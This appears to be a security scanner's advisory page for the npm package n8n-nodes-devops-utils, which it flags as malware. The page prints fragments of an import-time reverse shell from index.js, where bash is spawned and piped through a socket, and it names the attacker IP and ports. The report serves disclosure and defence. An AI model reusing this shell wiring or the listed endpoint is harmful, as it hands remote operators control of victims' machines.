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n8n-nodes-devops-utils

DevOps utility nodes for n8n workflow automation

This report shows the evidence for n8n-nodes-devops-utils@1.0.3. 8 of 8 known versions are blocked or flagged. The newest version, 1.0.7, is blocked. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Direct source inspection confirms import-time reverse-shell behavior in the package main entrypoint. The lack of lifecycle scripts does not mitigate execution when the entrypoint is imported.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Importing or requiring the package main entrypoint (`index.js`).

Impact

Remote operator gains interactive shell access with the privileges of the importing process.

Mechanism

Import-time reverse shell via `child_process.spawn` and `net.Socket` piping.

Attack narrative

When `index.js` is loaded, two immediately invoked blocks spawn interactive Bash and POSIX shell processes. Each opens a TCP connection to the same hard-coded external IP on a distinct port, then pipes socket input into the shell and both output streams back to the socket. This is a concrete import-time reverse shell with silent error handling, independent of the benign-looking n8n node stub.

AI rationale

Direct source inspection confirms import-time reverse-shell behavior in the package main entrypoint. The lack of lifecycle scripts does not mitigate execution when the entrypoint is imported.

Evidence

index.jspackage.jsonMyNode.js

Network endpoints2

103.27.109.184:8890103.27.109.184:8891

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`index.js` immediately runs on module import.
`index.js` spawns interactive `/bin/bash` and `/bin/sh` processes.
`index.js` pipes both shells to `103.27.109.184` on ports 8890 and 8891.
Errors are silently swallowed, concealing failed connection attempts.

Evidence against

`package.json` contains no lifecycle scripts.
`MyNode.js` is an inert n8n node stub.

Behavioral surface

Source

ChildProcess

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 1.25 KB of source

Source & flagged code

3 flagged

index.jsView file

2try { L3: var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']); L6: var client = new net.Socket(); ... L8: client.pipe(sh.stdin); L9: sh.stdout.pipe(client); L10: sh.stderr.pipe(client);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L2

2Trigger-reachable chain: manifest.main -> index.js L2: try { L3: var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']); L6: var client = new net.Socket(); ... L8: client.pipe(sh.stdin); L9: sh.stdout.pipe(client); L10: sh.stderr.pipe(client);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L2

3var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']);

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

Source & flagged code

3 flagged · loading source

index.jsView file

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L2

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L2

3var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']);

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

Findings

2 Critical1 High

CriticalReverse Shellindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighChild Processindex.js

Affected versions and remediation

This report applies to n8n-nodes-devops-utils@1.0.3.

The versions list below shows the verdict for each recorded version.

Avoid installing n8n-nodes-devops-utils@1.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-07-28 14:37:03.755Z (UTC).

Source advisory published: 2026-07-17 13:26:34.000Z (UTC).

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Versions

8 known versions

1.0.7latestMaliciousMalwareBlockPublishedJul 17, 2026, 1:20 PM 1.0.6MaliciousMalwareBlockPublishedJul 17, 2026, 12:55 PM 1.0.5MaliciousMalwareBlockPublishedJul 17, 2026, 12:47 PM 1.0.4MaliciousMalwareBlockPublishedJul 17, 2026, 12:04 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

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Behavioral surface

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